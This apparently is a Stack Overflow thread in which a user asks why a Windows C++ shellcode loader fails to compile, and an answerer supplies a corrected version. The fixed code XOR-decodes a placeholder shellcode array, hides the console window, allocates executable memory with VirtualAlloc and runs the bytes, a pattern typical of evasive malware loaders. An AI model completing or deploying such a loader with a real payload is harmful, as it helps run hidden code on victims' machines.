-4
#include <windows.h>
#include <iostream>

int main(int argc, char* argv[])
{

    char a[] = { 0xc4, 0xe0, 0x8, 0x49, 0x11, 0x9e, 0xd7, 0x97, 0x68 }; //Shellcode goes here;
    char b = [sizeof a];

    for (int i = 0; i < b; i++) {
        a[i] = b[i] ^ 'KEY';
    }

    ShowWindow(GetConsoleWindow(), SW_HIDE);

    void* exec = VirtualAlloc(0, sizeof b, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, b, sizeof b);
    ((void (*)())exec)();
}

But it is showing me such an error when compiling with mingw32-gcc compiler in linux....

loader.cpp: In function ‘int main(int, char**)’:
loader.cpp:8:66: error: narrowing conversion of ‘196’ from ‘int’ to ‘char’ [-Wnarrowing]
    8 |     char a[]={0xc4, 0xe0, 0x8, 0x49, 0x11, 0x9e, 0xd7, 0x97, 0x68}; //Shellcode goes here;
      |                                                                  ^
loader.cpp:8:66: error: narrowing conversion of ‘224’ from ‘int’ to ‘char’ [-Wnarrowing]
loader.cpp:8:66: error: narrowing conversion of ‘158’ from ‘int’ to ‘char’ [-Wnarrowing]
loader.cpp:8:66: error: narrowing conversion of ‘215’ from ‘int’ to ‘char’ [-Wnarrowing]
loader.cpp:8:66: error: narrowing conversion of ‘151’ from ‘int’ to ‘char’ [-Wnarrowing]
loader.cpp:9:15: error: expected identifier before ‘sizeof’
drescherjm
  • 10,365
  • 5
  • 44
  • 64
  • 1
    What do you mean by "not in scope?" That's nowhere in the error log. –  Jun 11 '21 at 14:55
  • 3
    Several of your constants in that array are too big for a `char`. Maybe use `unsigned char` instead. And what are you trying to do with `char b = [sizeof a];`? – mediocrevegetable1 Jun 11 '21 at 14:56
  • 1
    `'KEY'` is a multicharacter literal and almost certainly not what you mean to do. – interjay Jun 11 '21 at 14:56
  • Does this answer your question? [How to initialize char array using hex numbers?](https://stackoverflow.com/questions/19715439/how-to-initialize-char-array-using-hex-numbers) –  Jun 11 '21 at 14:56
  • 1
    It looks like your compiler makes `char` signed (either `signed` or `unsigned` is allowed). The simplest fix is to change `a` to `unsigned char a[] = ...`. That way, all the values will fit. – Pete Becker Jun 11 '21 at 14:57

1 Answers1

1
  • You should use unsigned char instead of char because char may be signed, depending on the environment.
  • You have an extra = in the declaration of b.
  • The condition i < b is wrong. it is comparing an integer with a pointer (converted from the array). It should be i < sizeof b. i may have to be an unsigned type to avoid warnings.
  • a[i] = b[i]^'KEY'; also looks wrong. You probably want b[i] = a[i]^'KEY';. Otherwise b is left uninitialized.

Fixed code:

#include <windows.h>
#include <iostream>

int main(int argc, char *argv[]){

    unsigned char a[]={0xc4, 0xe0, 0x8, 0x49, 0x11, 0x9e, 0xd7, 0x97, 0x68};//Shellcode goes here;
    unsigned char b[sizeof a];

    for(size_t i = 0; i < sizeof b ; i++ ){
       b[i] = a[i]^'KEY';
    }

    ShowWindow(GetConsoleWindow(), SW_HIDE);
    
    void *exec = VirtualAlloc(0, sizeof b, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, b, sizeof b);
    ((void(*)())exec)();
}

Also note that 'KEY' is a multiple-charcter character constant and has an implementation-defined value, which may not what you want.

MikeCAT
  • 73,922
  • 11
  • 45
  • 70